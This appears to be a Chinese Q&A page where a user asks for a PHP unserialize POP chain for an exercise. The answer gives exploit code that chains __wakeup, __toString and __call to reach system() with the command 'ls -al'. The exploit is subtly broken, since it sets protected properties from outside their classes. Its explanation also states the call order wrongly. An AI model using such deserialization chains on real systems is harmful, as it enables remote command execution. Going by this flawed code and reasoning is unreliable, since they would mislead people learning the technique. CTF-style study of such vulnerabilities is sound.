请帮我构造一下这段代码的pop链,这是一道试题 <?php highlight_file(__FILE__); class T1{ protected $a; public function __wakeup(){ md5($this->a); } } class T2{ protected $b; public function __toString() { return $this->b->test(); } } class T3{ protected $c; public function __call($fun,$args) { system($this->c); } } unserialize($_GET['ser']); ?>
时间: 2023-06-12 09:06:06 浏览: 104
首先,我们需要找到可以进行反序列化的入口,这里是 `unserialize($_GET['ser'])`。
其次,我们需要构造一个 pop 链,使得在反序列化过程中可以实现我们的攻击目的。这里我们的攻击目的是执行一条命令,即 `system($this->c)`。
考虑到代码中存在三个类 T1、T2、T3,我们可以通过构造这三个类之间的关系来实现攻击目的。具体来说,我们可以构造一个 T2 对象 $obj2 和一个 T3 对象 $obj3,然后将 $obj3 作为 $obj2 的成员变量 $b,最后将 $obj2 作为 $a 传入一个 T1 对象,即可构造 pop 链。
具体代码如下:
```
<?php
class T1{
protected $a;
public function __wakeup(){
md5($this->a);
}
}
class T2{
protected $b;
public function __toString(){
return $this->b->test();
}
}
class T3{
protected $c;
public function __call($fun,$args){
system($this->c);
}
}
$obj3 = new T3();
$obj3->c = 'ls -al';
$obj2 = new T2();
$obj2->b = $obj3;
$obj1 = new T1();
$obj1->a = $obj2;
$data = serialize($obj1);
echo urlencode($data);
?>
```
在构造好的 pop 链中,首先会调用 T3 类的 __call 方法,进而执行 `system($this->c)`,从而实现攻击目的。
阅读全文